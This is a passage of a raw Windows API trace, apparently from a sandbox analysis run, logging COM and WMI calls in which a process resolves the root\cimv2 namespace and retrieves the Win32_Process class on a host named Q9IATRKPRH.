WbemLocator:IUnknown:Release (This=0x1aa03520) returned 0x1 [0132.280] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9ef0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1aa03560) returned 0x0 [0132.280] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9ef0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1aa03520) returned 0x0 [0132.280] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa03520, pProxy=0x1bbd9ef0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0132.280] WbemLocator:IUnknown:Release (This=0x1aa03520) returned 0x2 [0132.280] WbemLocator:IUnknown:Release (This=0x1aa03560) returned 0x1 [0132.280] CoTaskMemFree (pv=0x1bbc6500) [0132.281] WbemLocator:IUnknown:AddRef (This=0x1bbd9ef0) returned 0x2 [0132.281] WbemLocator:IUnknown:Release (This=0x1bbd8d40) returned 0x0 [0132.281] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0132.281] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0132.281] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9ef0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1aa03530) returned 0x0 [0132.281] WbemLocator:IRpcOptions:Query (in: This=0x1aa03530, pPrx=0x1bbd8da0, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0132.281] WbemLocator:IUnknown:Release (This=0x1aa03530) returned 0x2 [0132.281] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0132.281] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0132.281] WbemLocator:IUnknown:QueryInterface (in: This=0x1bbd9ef0, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1bbd9ef0) returned 0x0 [0132.281] WbemLocator:IUnknown:Release (This=0x1bbd9ef0) returned 0x2 [0132.282] SysStringLen (param_1=0x0) returned 0x0 [0132.282] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfca0, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0132.282] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfca0, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0132.282] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbfca0, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0132.282] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf9a0, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0132.282] WbemDefPath:IWbemPath:GetText (in: This=0x1bbbf9a0, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0132.282] IWbemServices:GetObject (in: This=0x1bbd9ef0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bbd4760, ppCallResult=0x0) returned 0x0 [0132.296] IWbemClassObject:Get (in: This=0x1bbd4760, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e5d8*=0, plFlavor=0x1bb7e5d0*=0 | out: pVal=0x1bb7e470*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1bb7e5d8*=8, plFlavor=0x1bb7e5d0*=64) returned 0x0 [0132.296] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0132.296] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0132.296] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4a8 | out: ppv=0x1bb7e4a8*=0x1a943398) returned 0x0 [0132.296] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e498 | out: pAptType=0x1bb7e498*=1) returned 0x0 [0132.296] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4a0 | out: ppvObject=0x1bb7e4a0*=0x0) returned 0x80004002 [0132.296] IUnknown:Release (This=0x1a943398) returned 0x1 [0132.298] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8c0 | out: ppv=0x1bb7d8c0*=0x1bbd8d40) returned 0x0 [0132.298] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd8d40, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x0) returned 0x80004002 [0132.298] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd8d40, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8b8 | out: ppvObject=0x1bb7d8b8*=0x1bbbfd60) returned 0x0 [0132.298] WbemDefPath:IUnknown:Release (This=0x1bbd8d40) returned 0x0 [0132.299] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfd60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6c8 | out: ppvObject=0x1bb7d6c8*=0x1bbbfd60) returned 0x0 [0132.299] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfd60, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d770 | out: ppvObject=0x1bb7d770*=0x0) returned 0x80004002 [0132.299] WbemDefPath:IUnknown:AddRef (This=0x1bbbfd60) returned 0x3 [0132.299] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfd60, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce18 | out: ppvObject=0x1bb7ce18*=0x0) returned 0x80004002 [0132.299] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfd60, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cda0 | out: ppvObject=0x1bb7cda0*=0x0) returned 0x80004002 [0132.299] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfd60, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x1bbd8d60) returned 0x0 [0132.299] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8d60, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cdb8 | out: pCid=0x1bb7cdb8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.299] WbemDefPath:IUnknown:Release (This=0x1bbd8d60) returned 0x3 [0132.299] CoGetContextToken (in: pToken=0x1bb7ce40 | out: pToken=0x1bb7ce40) returned 0x0 [0132.299] CoGetContextToken (in: pToken=0x1bb7d2c0 | out: pToken=0x1bb7d2c0) returned 0x0 [0132.299] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfd60, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d380 | out: ppvObject=0x1bb7d380*=0x0) returned 0x80004002 [0132.299] WbemDefPath:IUnknown:Release (This=0x1bbbfd60) returned 0x2 [0132.299] WbemDefPath:IUnknown:Release (This=0x1bbbfd60) returned 0x1 [0132.299] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0132.299] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0132.299] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfd60, riid=0x1bb7e140*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1bbbfd60) returned 0x0 [0132.299] WbemDefPath:IUnknown:AddRef (This=0x1bbbfd60) returned 0x3 [0132.300] WbemDefPath:IUnknown:Release (This=0x1bbbfd60) returned 0x2 [0132.300] WbemDefPath:IWbemPath:SetText (This=0x1bbbfd60, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0132.300] IWbemClassObject:Get (in: This=0x1bbd4760, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0132.300] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0132.300] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0132.300] IWbemClassObject:Get (in: This=0x1bbd4760, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0132.300] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0132.300] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0132.300] IWbemClassObject:Get (in: This=0x1bbd4760, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0132.300] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0132.301] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0132.301] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0132.301] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0132.301] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0132.301] IUnknown:Release (This=0x1a943398) returned 0x1 [0132.303] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbd8f00) returned 0x0 [0132.303] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd8f00, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0132.303] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd8f00, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbbfe20) returned 0x0 [0132.303] WbemDefPath:IUnknown:Release (This=0x1bbd8f00) returned 0x0 [0132.303] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfe20, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbbfe20) returned 0x0 [0132.303] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfe20, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0132.303] WbemDefPath:IUnknown:AddRef (This=0x1bbbfe20) returned 0x3 [0132.303] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfe20, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0132.303] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfe20, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0132.304] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfe20, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbd8f40) returned 0x0 [0132.304] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8f40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.304] WbemDefPath:IUnknown:Release (This=0x1bbd8f40) returned 0x3 [0132.304] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0132.304] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0132.304] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfe20, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0132.304] WbemDefPath:IUnknown:Release (This=0x1bbbfe20) returned 0x2 [0132.304] WbemDefPath:IUnknown:Release (This=0x1bbbfe20) returned 0x1 [0132.304] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0132.304] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0132.304] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfe20, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbbfe20) returned 0x0 [0132.304] WbemDefPath:IUnknown:AddRef (This=0x1bbbfe20) returned 0x3 [0132.304] WbemDefPath:IUnknown:Release (This=0x1bbbfe20) returned 0x2 [0132.304] WbemDefPath:IWbemPath:SetText (This=0x1bbbfe20, uMode=0x4, pszPath="") returned 0x0 [0132.304] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0132.304] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0132.304] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0132.304] IUnknown:Release (This=0x1a943398) returned 0x1 [0132.306] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bbd8f00) returned 0x0 [0132.306] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbd8f00, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0132.306] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbd8f00, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1bbbfee0) returned 0x0 [0132.306] WbemDefPath:IUnknown:Release (This=0x1bbd8f00) returned 0x0 [0132.306] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfee0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1bbbfee0) returned 0x0 [0132.306] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfee0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0132.307] WbemDefPath:IUnknown:AddRef (This=0x1bbbfee0) returned 0x3 [0132.307] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfee0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0132.307] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfee0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0132.307] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfee0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bbd8f80) returned 0x0 [0132.307] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbd8f80, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0132.307] WbemDefPath:IUnknown:Release (This=0x1bbd8f80) returned 0x3 [0132.307] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0132.307] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0132.307] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfee0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0132.307] WbemDefPath:IUnknown:Release (This=0x1bbbfee0) returned 0x2 [0132.307] WbemDefPath:IUnknown:Release (This=0x1bbbfee0) returned 0x1 [0132.307] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0132.307] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0132.307] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbbfee0, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1bbbfee0) returned 0x0 [0132.307] WbemDefPath:IUnknown:AddRef (This=0x1bbbfee0) returned 0x3 [0132.307] WbemDefPath:IUnknown:Release (This=0x1bbbfee0) returned 0x2 [0132.307] WbemDefPath:IWbemPath:SetText (This=0x1bbbfee0, uMode=0x4, pszPath="") returned 0x0 [0132.307] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfee0, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0132.307] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bbbfe20, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0132.307] WbemDefPath:IWbemPath:GetClassName (in: This=0x1bbbfee0, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0132.307] WbemDefPath:IWbemPath:GetServer (in: This=0x1bbbfee0, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0132.307] WbemDefPath:IWbemPath:SetServer (This=0x1bbbfee0, Name="Q9IATRKPRH") returned 0x0 [0132.308] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, 